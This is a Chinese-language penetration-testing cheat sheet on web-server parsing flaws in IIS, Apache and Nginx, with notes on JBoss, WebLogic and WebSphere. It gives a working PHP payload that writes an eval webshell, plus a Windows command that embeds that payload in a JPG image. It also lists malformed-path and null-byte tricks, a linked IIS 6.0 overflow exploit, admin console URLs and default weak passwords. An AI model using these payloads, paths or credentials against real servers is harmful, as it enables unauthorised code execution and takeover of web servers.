中介軟體解析漏洞
IIS
IIS解析漏洞
IIS 6.0 解析利用方法有兩種：
1. 目錄解析
建立xx.asp為名稱的資料夾，將asp檔案放入，訪問/xx.asp/xx.jpg，其中xx.jpg可以為任意檔案字尾，即可解析
2. 檔案解析
字尾解析：/xx.asp;.jpg /xx.asp:.jpg(此處需抓包修改檔名)
3. 預設解析：
/xx.asa ，/xx.cer，/xx.cdx
IIS7.5/ IIS 7.0/ Nginx <8.03 畸形解析漏洞
IIS 7.5 的解析漏洞利用手法，在正常圖片URL後新增 /.php
常用利用方法： 將一張圖和一個寫入後門程式碼的文字檔案合併 將惡意文字寫入圖片的二進位制程式碼之後，避免破壞圖片檔案頭和尾
內容
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]?>');?>
通過windows下copy命令合成，或者用hex工具直接寫也可以
然後訪問xx.jpg/x.php,在這個目錄下就會生成一句話木馬shell.php
測試：圖片1.jpg 建立webshell.txt，寫入<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]?>');?>
在windows下開啟cmd,命令為：copy 1.jpg /b + webshell.txt /a 1webshell.jpg
訪問1webshell.jpg/.php
在當前目錄下就生成了一個php檔案shell.php
IIS PUT漏洞
2 個錯誤配置造成
1.WEB 伺服器擴充套件裡設定WebDAV為允許；
2. 網站許可權配置裡開啟了寫入許可權。
使用桂林老兵的工具
IIS溢位漏洞
開啟WebDAV服務的IIS 6.0被爆存在快取區溢位漏洞導致遠端程式碼執行，針對 Windows Server 2003 R2
POC: https://github.com/edwardz246003 ... b/master/exploit.py
Apache
解析漏洞
字尾解析：test.php.x1.x2.x3
Apache 將從右至左開始判斷後綴，若x3非可識別字尾，再判斷x2，直到找到可識別字尾為止，然後將該可識別字尾進解析
test.php.x1.x2.x3 則會被解析為php
經驗之談：php|php3|phtml|php4|php5 多可被Apache解析
Nginx
解析漏洞
Nginx <8.03 畸形解析漏洞
直接在正常圖片URL後新增 /.php
Nginx <=0.8.37
在Fast-CGI關閉的情況下，Nginx <=0.8.37 依然存在解析漏洞
在一個檔案路徑(/xx.jpg)後面加上%00.php會將 /xx.jpg%00.php 解析為 php 檔案。
這是從 /test.jpg/x.php 演變過來的，具體可以參考：Ngnix空位元組可遠端執行程式碼漏洞
JBOSS
存在java反序列化命令執行
埠：8080（Web）、9990（Console）
管理面板：http://<host>:9990
弱口令
jboss:jboss
admin:admin
Weblogic
存在java反序列化命令執行
埠 7001、7002（Web、Console）
管理面板：http://<host>:7001/console/
弱口令
weblogic:weblogic
system:system
portaladmin:portaladmin
guest:guest
weblogic:admin123
weblogic:weblogic123
WebSphere
存在java反序列化命令執行
埠：9080、9443（Web）、9060、9043（Console）、…
管理面板：
http://<host>:7043/ibm/console/logon.jsp